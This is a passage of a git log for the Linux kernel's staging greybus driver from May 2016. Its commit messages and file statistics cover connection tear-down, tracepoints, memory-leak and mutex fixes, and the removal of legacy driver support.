3de5acfafb3c610bc6f7013a1583852cbc2747f1 Author: Johan Hovold Date: Fri May 27 17:26:36 2016 +0200 greybus: connection: implement proper connection closure Implement proper connection closure, which includes sending ping requests on the connection being tore down while coordinating with the remote interface as well as the SVC. This specifically implements the new ping operation, which in case of offloaded connections is handled by the host-device driver in an implementation-defined manner through a new callback. Note that the normal connection tear-down procedure is executed in case of failed connection establishment due to failed connected operation. Specifically, the disconnecting request is sent also in case the connected operation never succeeded. This is needed since the interface may have enabled FCT flow upon receiving the connected request. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 109 ++++++++++++++++++++++++++-- drivers/staging/greybus/connection.h | 7 +- drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/hd.h | 1 + drivers/staging/greybus/operation.c | 5 +- 5 files changed, 112 insertions(+), 11 deletions(-) commit 18079ece816b3b272b114b770e636f4e5567b028 Author: Johan Hovold Date: Fri May 27 17:26:35 2016 +0200 greybus: operation: add helper for creating core operations Add a new core operation flag and a helper that core can use to create core operations. This will be used to implement the ping operations that core sends as part of connection tear down. Note that a new trace point is also added. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 5 +++++ drivers/staging/greybus/operation.c | 20 ++++++++++++++++++++ drivers/staging/greybus/operation.h | 12 ++++++++++++ 3 files changed, 37 insertions(+) commit 77bbbcf6d36d7ef2054a8b0dc8396cc0f092945e Author: Johan Hovold Date: Fri May 27 17:26:34 2016 +0200 greybus: operation: restructure activation state handling Restructure the operation activation state handling in preparation for a new disconnecting state. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit 8890f95710d835ba9f843c7dd849858da1d847d8 Author: Johan Hovold Date: Fri May 27 17:26:33 2016 +0200 greybus: operation: clean up early connection-state check Now that the legacy invalid state is gone, clean up the early connection-state check in the receive path and explicitly drop incoming messages for disabled connection. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 1430cc920ab374a94f3a31574a2d616dd7f4c4d1 Author: Johan Hovold Date: Fri May 27 17:26:32 2016 +0200 greybus: connection: remove unused invalid state Remove the unused legacy INVALID connection state. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 00ad6975e7ca131a446c3c2e6510eec39664646d Author: Johan Hovold Date: Fri May 27 17:26:31 2016 +0200 greybus: connection: move CPort Buffer configuration out of svc helpers The CPort Buffer configuration in the host-device needs to match the CPort feature flags set by the SVC, but they need not always be configured at the same point in time. This will be used when implementing proper connection tear down. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit e2efe1bbc42896c4c24fec16785be5264a2d7794 Author: Johan Hovold Date: Fri May 27 17:26:30 2016 +0200 greybus: connection: rename an error label Rename an error label to make it more descriptive. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6adcf44170db6cddcbbf9321244e051a72120555 Author: Johan Hovold Date: Fri May 27 17:26:29 2016 +0200 greybus: es2: reset cports at disable Make sure to reset CPorts at disable rather than enable as per specification. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3cbe52c2e07ddb2c1f75e0ff9ff4e33a8e478877 Author: Johan Hovold Date: Fri May 27 17:26:28 2016 +0200 greybus: connection: log cport-enable error messages Log failures to disable a host cport, and include the connection name in cport enable/disable error messages. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 96f5ab00c2a1bfc698bb9a51301f1cc1f83aa8e2 Author: Johan Hovold Date: Fri May 27 17:26:27 2016 +0200 greybus: svc: add stub connection-quiescing operation Add stubbed out connection-quiescing operation that is needed for proper connection tear down. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 10 ++++++++++ drivers/staging/greybus/svc.h | 2 ++ 2 files changed, 12 insertions(+) commit 197616e227b5b562814828df4dac9477e27b0149 Author: Johan Hovold Date: Fri May 27 17:26:26 2016 +0200 greybus: control: implement disconnecting operation Implement the new disconnecting control operation needed for proper connection tear down. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 12 ++++++++++++ drivers/staging/greybus/control.h | 2 ++ drivers/staging/greybus/greybus_protocols.h | 6 ++++++ 3 files changed, 20 insertions(+) commit aca7aab39aa2d69d0a5b1cfc9319506b7c26b79d Author: Johan Hovold Date: Fri May 27 17:26:25 2016 +0200 greybus: connection: add control connection flag Add control connection flag which will be set for control connections. Also add a helper function to test if the flag is set. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 15 ++++++++------- drivers/staging/greybus/connection.h | 6 ++++++ 2 files changed, 14 insertions(+), 7 deletions(-) commit d9fa3494b78a4e7fe9d8243ddd5ec472668f8fdf Author: Johan Hovold Date: Fri May 27 17:26:24 2016 +0200 greybus: interface: avoid I/O to bootrom during removal Add an interface quirk flag to suppress I/O during interface disable. This is needed to prevent I/O to the bootrom during controlled connection tear down (e.g. eject or driver unbind). This will be more obvious with the new connection tear-down procedure. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 8 ++++++-- drivers/staging/greybus/interface.h | 1 + 2 files changed, 7 insertions(+), 2 deletions(-) commit a4b08df4e01beac8a5e90f5dfb8a1ffda943d73d Author: Johan Hovold Date: Fri May 27 17:26:23 2016 +0200 greybus: interface: clean up bootrom quirk handling Clean up bootrom quirk handling in preparation for addition of further flags. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 7aefe7918f8e053f9cd8077fcc98182689f1341e Author: Johan Hovold Date: Fri May 27 17:26:22 2016 +0200 greybus: core: avoid I/O to disconnected interfaces Add new helper to disable connections to interfaces that have already been disconnected (e.g. forcibly removed). The connection tear-down procedure differs enough depending on whether the interface is still present or already gone to warrant a dedicated helper. This will become more obvious with the new tear-down procedure, which involves I/O on the connection being tore down. This also simplifies handling of the legacy bootrom, which does not support the new tear-down operations. Specifically, this allows us to remove the early control-connection tear down during interface disable, and also avoids some error messages currently printed during legacy mode switch (i.e. bootrom boot-over-UniPro) and forcible removal. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 21 +++++++++++++++++++++ drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/control.c | 5 ++++- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/interface.c | 7 ------- 5 files changed, 27 insertions(+), 9 deletions(-) commit 898d75f4aa8b1aeb99df8fe275cb3fcfa3dc0688 Author: Alex Elder Date: Tue May 24 13:34:52 2016 -0500 greybus: drop a bogus semicolon Coccinelle reports that gb_svc_pwrmon_debugfs_init() has a block of a for loop which is followed by an unnecessary semicolon. Get rid of that semicolon. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 95073cc2e53c1352f2c244408d1bd005b07650fd Author: Alex Elder Date: Tue May 24 13:34:51 2016 -0500 greybus: use PTR_ERR_OR_ZERO() Coccinelle points out that the macro PTR_ERR_OR_ZERO() handles the frequent case of converting a pointer into either error code (if its value is an encoded error value) or 0 (otherwise). Switch some code in gb_power_supply_register() to use that macro. I have verified this is true of the kernel we're now working with (arche-6.0). Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit d97fca12e92d3179554baf4db42611e5fe56aeed Author: Alex Elder Date: Tue May 24 13:34:50 2016 -0500 greybus: fix pointless null check Coccinelle points out that a call in gb_lights_channel_free() to flush_work() is passed which is always non-null. Prior to the call, there is an unnecessary check to see if that address is null. Get rid of the test. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 66394300c37e9321a913f269021b3d6c92d786ad Author: Alex Elder Date: Tue May 24 13:34:49 2016 -0500 greybus: eliminate unneeded null check Coccinelle points out that debugfs_remove_recursive() handles a null argument properly, so there's no need to check for NULL before making the call. I have verified this is true of the kernel we're now working with (arche-6.0). Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ebc9e3750d3112e3a84fe65386cb0e5deb994e18 Author: Alex Elder Date: Tue May 24 13:34:48 2016 -0500 greybus: fix unbalanced mutex Running "make coccicheck" on the Greybus code reports that gb_mmc_get_ro() and gb_mmc_get_cd() can return without releasing the mutex it acquired if there's an error. Fix this. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit f9340fc7dd9f42edfcd7a0e332798ae01a6b48ac Author: Alex Elder Date: Tue May 24 13:34:47 2016 -0500 greybus: report right error value Running "make coccicheck" on the Greybus code discovered that an error message in gb_camera_debugfs_init() was interpreting the wrong value in reporting the error code. Fix that. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 52033fdebc92021490729465e27ffb47cd42b0e0 Author: Vaibhav Agarwal Date: Fri May 27 10:49:24 2016 +0530 greybus: es2: Release reserved cports CDSI0 and CDSI1 Unique ids were reserved for CDSI0 and CDSI1 during _probe, however missed to release those ids during disconnect. This causes a memory leak of 128 bytes for each iteration of unipro_reset. Fix this. Signed-off-by: Vaibhav Agarwal Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++++ 1 file changed, 4 insertions(+) commit 29a822bdf77a0c2af5b556506f3cf3175a9a4a98 Author: Vaibhav Agarwal Date: Fri May 27 10:49:23 2016 +0530 greybus: hd: Add API to release reserved CPorts It is required to release all unique ids registered via ida_get_simple to avoid any possible memory leak. cport_release() already exists with special handling for ES2_CPORT_CDSI1, i.e. updating in_use flag without removing associated ida. So, added another API to release reserved cports CDSI0 and CDSI1. This is intended to be used only during es2_destroy(). Signed-off-by: Vaibhav Agarwal Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 8 ++++++++ drivers/staging/greybus/hd.h | 1 + 2 files changed, 9 insertions(+) commit cb4c8441e5dac4994ab63c1426babda3102beda9 Author: Alex Elder Date: Mon May 23 23:05:32 2016 -0500 greybus: tracing: define interface traces Define a new gb_module trace point event class, used to trace events associated with the interface abstraction. Define four basic trace points for this--creation time, drop of last reference, before registring interfaces and after de-registering them. In addition, define traces for activating and deactivating, and enabling and disabling an interface. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 80 +++++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.c | 17 +++++++ 2 files changed, 97 insertions(+) commit 5451ea0e99cb7d58cbf90c7785cb50cc322a4434 Author: Alex Elder Date: Mon May 23 23:05:31 2016 -0500 greybus: tracing: add module traces Define a new gb_module trace point event class, used to trace events associated with the module abstraction. Define four basic trace points for this--creation time, drop of last reference, before registring interfaces and after de-registering them. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 53 +++++++++++++++++++++++++++++++++ drivers/staging/greybus/module.c | 9 ++++++ 2 files changed, 62 insertions(+) commit 1f79046bd73abf5cc1dc5ad1f817a7851496ae0c Author: Alex Elder Date: Mon May 23 23:05:30 2016 -0500 greybus: tracing: fix hd traces Currently there are two trace points defined for the Greybus host device structure. One records information when a message gets sent, and another when it gets received. Neither of these is really a host device event. We have trace points defined for messages that dump information about all sent and received messages. As a result, the information about sending messages over a host is redundant, and can go away. (Note that the message traces may need a little refinement so they produce all desired information.) Instead of these trace points, define some that are directly related to the host device abstraction: when one is created, added, deleted, or released (destroyed). These do not require a CPort ID or payload size, so eliminate those two parameters from the host device trace point prototype. Change the trace information recorded for a host device to be just a subset of interesting fields in a host device. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 6 ++-- drivers/staging/greybus/es2.c | 4 --- drivers/staging/greybus/greybus_trace.h | 52 ++++++++++++++++++++------------- drivers/staging/greybus/hd.c | 10 ++++++- 4 files changed, 44 insertions(+), 28 deletions(-) commit df732546ce127e3bd8d55f4f7073aebd4482438c Author: Alex Elder Date: Mon May 23 23:05:29 2016 -0500 greybus: tracing: fix a bad tracepoint In gb_operation_put_active(), the wrong trace point is being called. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bae7c690354b585d98ae15bd8b1b7b0ba2bb3c42 Author: Johan Hovold Date: Wed May 25 22:18:15 2016 +0200 greybus: remove redundant latency-tag sanity checks Core will never call host-device callbacks with invalid arguments (and that would still need to be verified in bridge firmware anyway), so remove the redundant and insufficient sanity check from the callbacks. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 ---------- 1 file changed, 10 deletions(-) commit ae36e81ed93e9fecfede1cc3dde48cfea3a8c908 Author: Johan Hovold Date: Wed May 25 22:18:14 2016 +0200 greybus: interface: fix svc-resource error messages The interface svc-resource helper are used to enable as well as disable the corresponding SVC resources so make sure the error messages reflect that. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7a9a5bf01ebd31171ad747386133b126deb81c15 Author: Viresh Kumar Date: Wed May 25 12:49:26 2016 +0530 greybus: Documentation/sysfs: gbphy0 is an invalid name The numbering of gbphy devices is going to start from 1 and not 0. Reflect the same in sysfs hierarchy. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy0/gpio/gpiochip490/.gitignore | 1 - .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy0/i2c-4/.gitignore | 1 - .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy1/gpio/gpiochip490/.gitignore | 1 + .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy1/i2c-4/.gitignore | 1 + 4 files changed, 2 insertions(+), 2 deletions(-) commit 71b7a36072cbaf86d3c69ec6473325bfea4f6f87 Author: Viresh Kumar Date: Wed May 25 12:46:24 2016 +0530 greybus: Documentation/sysfs: Rename gpbridge to gbphy These were left in the earlier renaming series, fix them as well. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy0/gpio/gpiochip490/.gitignore | 1 + .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gbphy0/i2c-4/.gitignore | 1 + .../greybus1/1-5/1-5.5/1-5.5.2/gpbridge0/gpio/gpiochip490/.gitignore | 1 - .../sysfs/greybus1/1-5/1-5.5/1-5.5.2/gpbridge0/i2c-4/.gitignore | 1 - 4 files changed, 2 insertions(+), 2 deletions(-) commit b797c43271f77f1dfd25953d72245cb8d0b832fc Author: Axel Haslam Date: Tue May 24 16:21:29 2016 +0200 greybus: Fix loopback app after rename to gpphy commit 6d94670 gpbridge: rename 'gpbridge' to 'gbphy' everywhere missed renaming the loopback test app. So do it too. Testing done: complie and run loopback test Signed-off-by: Axel Haslam Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 64 +++++++++++++-------------- 1 file changed, 32 insertions(+), 32 deletions(-) commit 7a867d149f0c0cb9184a38f83704d37439a17f3e Author: Vaibhav Hiremath Date: Tue May 24 18:32:04 2016 +0530 greybus: arche-platform: Enable SVC clock during FW_FLASHING state The issue is, as part of kernel-only build we started seeing failures in SVC FW flashing. It was reproducible easily in kernel-only build, but never observed on Android build. During debugging, there were couple of observations, 1. If SVC clock enabled and disables (which is REFCLK_MAIN), then SVC FW flashing works. 2. If we do not switch SVC to HSE (external clock source) it works. Recently, SVC code has been updated to switch HSE clock, so removing it (remove/skip rcc_switch_ara_pll() fn) would use internal clock only. As per STM32 spec, for flashing through USART we do not need to enable HSE, but the above observation contradicts with it. There is still something missing in terms of understanding of how STM32 device functions as far as Flashing is concerned. There is something hidden in HW, which probably still need to identify. So as a interim solution we will enable clock for FW_FLASHING state, which seems to be fixing the issue here. Testing Done: Tested on EVT1.5 with arche6.0 and kernel-only build. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 0b1283e33f7a38645c9d060ce2e2b24a44e3b125 Author: Vaibhav Hiremath Date: Tue May 24 18:32:03 2016 +0530 greybus: arche-platform: Enter ACTIVE state only from OFF state Make sure that, transition to active state happens only from OFF state. Instead of imposing the restriction to user-space, driver internally switches to OFF state and then to ACTIVE state. Testing Done: Tested on EVT1.5 platform. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 7 +++++++ 1 file changed, 7 insertions(+) commit c61a8b49846ecc11f7959f573b9548f859bc73a5 Author: Vaibhav Hiremath Date: Tue May 24 18:32:02 2016 +0530 greybus: arche-platform: Make fw_flashing_seq() return error Make arche_platform_fw_flashing_seq() return error value, needed later when we add clock enable support for FW flashing. Testing Done: Tested on EVT1.5 platform. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 91a8030f781d27e84661c4a4edf1e108bfc1c594 Author: Jeffrey Carlyle Date: Wed May 25 16:38:47 2016 -0700 greybus: Revert "update UniPro Set Interface Power Mode operation to match spec" This reverts commit 29fee8c55b59bb6ac59b99a0563c89c514cba42b. This change and its companion NuttX changes seem to be triggering a storm of POWERMODEIND switch interrupts on the SVC. Signed-off-by: Jeffrey Carlyle Acked-by: Sandeep Patil drivers/staging/greybus/camera.c | 10 ++-------- drivers/staging/greybus/greybus_protocols.h | 28 ---------------------------- drivers/staging/greybus/svc.c | 24 +++--------------------- drivers/staging/greybus/svc.h | 5 +---- 4 files changed, 6 insertions(+), 61 deletions(-) commit 00606367141cf518e94d8354a02d298475de67e5 Author: Eli Sennesh Date: Mon May 16 14:55:17 2016 -0400 greybus: update UniPro Set Interface Power Mode operation to match spec Bring the gb_svc_intf_set_power_mode() up-to-date with the current Greybus specification. This largely involves adding more members to the structure sent across the wire. Also change the camera code to use the new operation properly, with default values passed for the new necessary arguments. The correctness of these default values is confirmed via testing and by asking Rob Johnson. Testing Done: Took a picture with a camera module, received error code when passing deliberately incorrect values for new parameters, got proper -EIO and Greybus result code printed when operation stopped halfway through. Associated Firmware Changes: 6810-6812 on Gerrit for SW-1239, 6870 and 5612-5613 on Gerrit for SW-2945 Signed-off-by: Eli Sennesh Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 10 ++++++++-- drivers/staging/greybus/greybus_protocols.h | 28 ++++++++++++++++++++++++++++ drivers/staging/greybus/svc.c | 24 +++++++++++++++++++++--- drivers/staging/greybus/svc.h | 5 ++++- 4 files changed, 61 insertions(+), 6 deletions(-) commit d7be800f7ae9398055509b3a83d0ea3118e9277f Author: Bryan O'Donoghue Date: Mon May 23 15:01:08 2016 +0100 greybus: Fix unbalanced irq_enable() backtrace Tip-of-tree is exhibiting a backtrace when loading-up the set of greybus kernel modules due to calling arche_platform_wd_irq_en() directly after a call to devm_request_threaded_irq(). At the point we call arch_platform_wd_irq_en() the relevant IRQ will already be enabled. What we want to do in this situation is configure the GPIO line as an input. This patch fixes the backtrace by supplanting arche_platform_wd_irq_en() with gpio_direction_input(arche_pdata->wake_detect_gpio) in arche_platform_probe(). WARNING: at msm-ara-3.10/kernel/irq/manage.c:457 __enable_irq+0x74/0xc0() Unbalanced enable for IRQ 687 Modules linked in: gb_arche(O+) gb_camera(O) gb_es2(O) gb_vibrator(O) gb_raw(O) gb_power_supply(O) gb_loopback(O) gb_light(O) gb_hid(O) greybus(O) CPU: 0 PID: 415 Comm: insmod Tainted: G W O 3.10.78-g2a4dec8 #65 Call trace: [] dump_backtrace+0x0/0x248 [] show_stack+0x10/0x1c [] dump_stack+0x1c/0x28 [] warn_slowpath_common+0x74/0x9c [] warn_slowpath_fmt+0x4c/0x58 [] __enable_irq+0x70/0xc0 [] enable_irq+0x68/0x7c [] arche_platform_probe+0x3b4/0x4f4 [gb_arche] [] platform_drv_probe+0x14/0x20 [] driver_probe_device+0x160/0x374 [] __driver_attach+0x60/0x90 [] bus_for_each_dev+0x74/0x94 [] driver_attach+0x1c/0x28 [] bus_add_driver+0x124/0x248 [] driver_register+0x94/0x110 [] platform_driver_register+0x58/0x64 [] $x+0x20/0x58 [gb_arche] [] do_one_initcall+0xb0/0x14c [] load_module+0x19d0/0x1b18 [] SyS_init_module+0x118/0x130 Signed-off-by: Bryan O'Donoghue Reviewed-by: Vaibhav Hiremath Tested-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 37f07c0c974d78bfcdc9f3267438c91163fc3ae5 Author: Vaibhav Agarwal Date: Mon May 23 23:31:14 2016 +0530 greybus: audio: Fix memory leak Topology data pointer was mistakenly set to NULL before freeing it. Fix this. Fixes: 64a86d9ba850 ("audio: Add module specific driver") Signed-off-by: Vaibhav Agarwal Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 038405db982987bbe01ddc1fd90fba2dba700dd4 Author: David Lin Date: Fri May 20 18:37:02 2016 -0700 greybus: legacy: remove protocol.o from the makefile Commit 0917cba11 ("legacy: remove legacy driver support") removed protocol.c, however, the corresponding target in the Makefile was not removed therefore broken the build. Testing Done: - Build & boot on EVT1.5 Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - 1 file changed, 1 deletion(-) commit 206dc534e99a5bfc10a699442f0c20d372eacf44 Author: Alex Elder Date: Fri May 20 11:44:57 2016 -0500 greybus: tracing: refine comments I believe that duplicating the tracepoint name in comments prior to the tracepoint is redundant, and doesn't add a lot of value. I also believe that we can provide a little more information about what exactly an event means, or when exactly it is called. I don't claim this is a huge improvement, but it's a proposal. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 27 +++++++++++++-------------- 1 file changed, 13 insertions(+), 14 deletions(-) commit 58a881376357caec4c992b73779102142096d383 Author: Alex Elder Date: Fri May 20 11:44:56 2016 -0500 greybus: tracing: eliminate "location" comments Each message event has a set of comments preceeding its definition. One of them, "location", indicates where that event is used. I am certain that this comment will become out of date very easily. Hopefully just the name of the event is a good enough suggestion about where it will be used. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 7 ------- 1 file changed, 7 deletions(-) commit 630175698e9b3a1e24d62dddb9059f5bdcbb7cec Author: Alex Elder Date: Fri May 20 11:44:55 2016 -0500 greybus: tracing: define events using macros A tracepoint event is defined with TP_PROTO() and TP_ARGS macros that match that of the event's class. A lot of repetition (and opportunity for inadvertent errors) in tracepoint event definitions can be eliminated by using a macro. Define and use class-specific event definition macros for gb_message and gb_host_device class events. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 63 +++++++++++---------------------- 1 file changed, 21 insertions(+), 42 deletions(-) commit f866e66f368ee58954d83e6e99194ffcd6dfcad5 Author: Alex Elder Date: Fri May 20 11:59:57 2016 -0500 greybus: add operation traces Define a new gb_operation event class, and define and use trace events that record when an operation is created, finally destroyed, and when its active count changes. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 69 +++++++++++++++++++++++++++++++++ drivers/staging/greybus/operation.c | 17 +++++++- 2 files changed, 85 insertions(+), 1 deletion(-) commit 428888a2b672444dbab9bb5127b7f583ab58ff2f Author: David Lin Date: Fri May 20 14:33:36 2016 +0300 greybus: legacy: remove legacy driver support This patch removes the greybus legacy driver support Signed-off-by: David Lin Signed-off-by: Laurent Pinchart Reviewed-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +- drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/core.c | 10 -- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/legacy.c | 258 ----------------------------------- drivers/staging/greybus/legacy.h | 16 --- drivers/staging/greybus/protocol.c | 201 --------------------------- drivers/staging/greybus/protocol.h | 75 ---------- 8 files changed, 1 insertion(+), 564 deletions(-) commit 68b66c28010ebc2ebe21d6bad2de2eda1bed01fc Author: Laurent Pinchart Date: Fri May 20 14:33:35 2016 +0300 greybus: camera: Convert to bundle driver Convert the legacy camera protocol driver to a bundle driver. Modules now can (and must) declare the camera data cport in their manifest as the data connection isn't hardcoded anymore. Signed-off-by: Laurent Pinchart Reviewed-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 123 ++++++++++++++++++++++++++------------- drivers/staging/greybus/legacy.c | 1 - 2 files changed, 84 insertions(+), 40 deletions(-) commit d72b5810cba5fd6f77f22742df1cb4a3c473cd6b Author: Viresh Kumar Date: Thu May 19 18:26:27 2016 +0530 greybus: fw-management: Fix error message's text Just reword it to make it sound better. Compile tested. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 825f79ae7620fa98586c4d2504030eca96d55c59 Author: Viresh Kumar Date: Thu May 19 18:27:25 2016 +0530 greybus: fw-core: destroy connections on error In one of the error cases we aren't destroying the connections created earlier. Fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-core.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 4aea5a15ad6d8fbd9d344a84c0396176e7512d3d Author: Johan Hovold Date: Thu May 19 16:20:16 2016 +0200 greybus: svc: use EREMOTEIO for remote errors Return -EREMOTEIO consistently for unspecified remote errors (e.g. a failed DME attribute read due to a remote UniPro error). Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit deda6aaf666706346866b7d828098ba9bacfb742 Author: Johan Hovold Date: Thu May 19 16:20:15 2016 +0200 greybus: audio_apbridgea: fix two return values Errno -ENOSYS is reserved for missing syscalls, replace it with -EOPNOTSUPP for the the two stub operations that used it. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_apbridgea.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0bba4fb53adff8ee1538a654bfb5ac79298cc5dc Author: Johan Hovold Date: Thu May 19 16:20:14 2016 +0200 greybus: svc: fix another pwrmon return value Errno -ENOSYS is reserved for missing syscalls, replace it with -ENOMSG. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7ba535ec69ff670976e69adeec24dac2b65560ee Author: Vaibhav Hiremath Date: Tue May 17 22:39:47 2016 +0530 